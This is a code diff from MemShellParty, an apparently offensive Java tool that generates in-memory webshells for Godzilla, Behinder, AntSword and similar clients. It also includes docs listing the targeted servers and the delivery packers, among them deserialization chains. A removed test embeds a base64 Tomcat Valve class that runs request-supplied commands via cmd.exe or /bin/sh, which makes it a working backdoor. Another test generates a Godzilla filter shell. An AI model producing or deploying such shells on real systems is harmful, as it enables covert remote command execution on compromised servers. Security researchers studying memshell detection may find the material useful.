return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getGodzillaPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||||
.key(shellToolConfig.getGodzillaKey())
|
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getBehinderPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Custom -> CustomConfig.builder()
|
case Custom -> CustomConfig.builder()
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
private String commandTemplate;
|
private String reqHeaderName;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
.commandTemplate(probeContentConfig.commandTemplate)
|
.reqHeaderName(probeContentConfig.reqHeaderName)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,7 +1,4 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
mvc:
|
|
||||||
pathmatch:
|
|
||||||
matching-strategy: ant_path_matcher
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
class ClassNameParseControllerTest {
|
|
||||||
@Test
|
|
||||||
void test(){
|
|
||||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
|
||||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
|
||||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -26,22 +26,31 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
|
List<String> body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,58 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
|
||||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/9/16
|
|
||||||
*/
|
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
|
||||||
class MemShellGeneratorControllerTest {
|
|
||||||
|
|
||||||
@Autowired
|
|
||||||
TestRestTemplate restTemplate;
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generateShell() {
|
|
||||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
|
||||||
request.setShellConfig(ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(true)
|
|
||||||
.serverVersion("Unknown")
|
|
||||||
.targetJreVersion(50)
|
|
||||||
.build());
|
|
||||||
request.setInjectorConfig(InjectorConfig.builder()
|
|
||||||
.urlPattern("/*")
|
|
||||||
.build());
|
|
||||||
request.setPacker(Packers.ScriptEngine);
|
|
||||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
|
||||||
shellToolConfigDTO.setGodzillaKey("key");
|
|
||||||
shellToolConfigDTO.setGodzillaPass("pass");
|
|
||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
|
||||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
publishToMavenCentral(true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,16 +9,10 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.7.1"
|
version = "2.0.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
---
|
## 本地构建
|
||||||
title: 编译打包
|
|
||||||
icon: Package
|
|
||||||
---
|
|
||||||
|
|
||||||
### 源代码构建
|
### 源代码构建
|
||||||
|
|
||||||
@@ -28,12 +25,12 @@ bun run build
|
|||||||
3. 构建后端项目,确保使用 JDK17 环境
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty
|
cd MemShellParty/boot
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
./gradlew :boot:bootjar -x test
|
||||||
```
|
```
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty/boot
|
||||||
@@ -42,7 +39,7 @@ java -jar \
|
|||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
build/libs/boot-2.0.0.jar
|
build/libs/boot-1.0.0.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
也可这基础上再继续构建容器来使用
|
||||||
@@ -59,14 +56,16 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 基础构建
|
# 基础构建
|
||||||
docker buildx build \
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
-t memshell-party:latest . --load
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
@@ -74,10 +73,11 @@ docker run -it -d -p 8080:8080 memshell-party:latest
|
|||||||
|
|
||||||
# 自定义访问路径构建
|
# 自定义访问路径构建
|
||||||
docker buildx build \
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
-t memshell-party:latest . --load
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
docker run -it -p 8080:8080 \
|
docker run -it -p 8080:8080 \
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
@@ -103,4 +103,4 @@ location /memshell-party {
|
|||||||
proxy_buffers 8 64k;
|
proxy_buffers 8 64k;
|
||||||
proxy_busy_buffers_size 128k;
|
proxy_busy_buffers_size 128k;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -1,15 +1,13 @@
|
|||||||
---
|
# 学习 Java 内存马推荐工具
|
||||||
title: 工具推荐
|
|
||||||
description: 工欲善其事必先利其器
|
> 工欲善其事必先利其器
|
||||||
---
|
|
||||||
|
|
||||||
## Arthas
|
## Arthas
|
||||||
|
|
||||||
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||||
|
|
||||||
JDK8 以上的下载链接:https://arthas.aliyun.com/doc/download.html
|
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||||
|
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||||
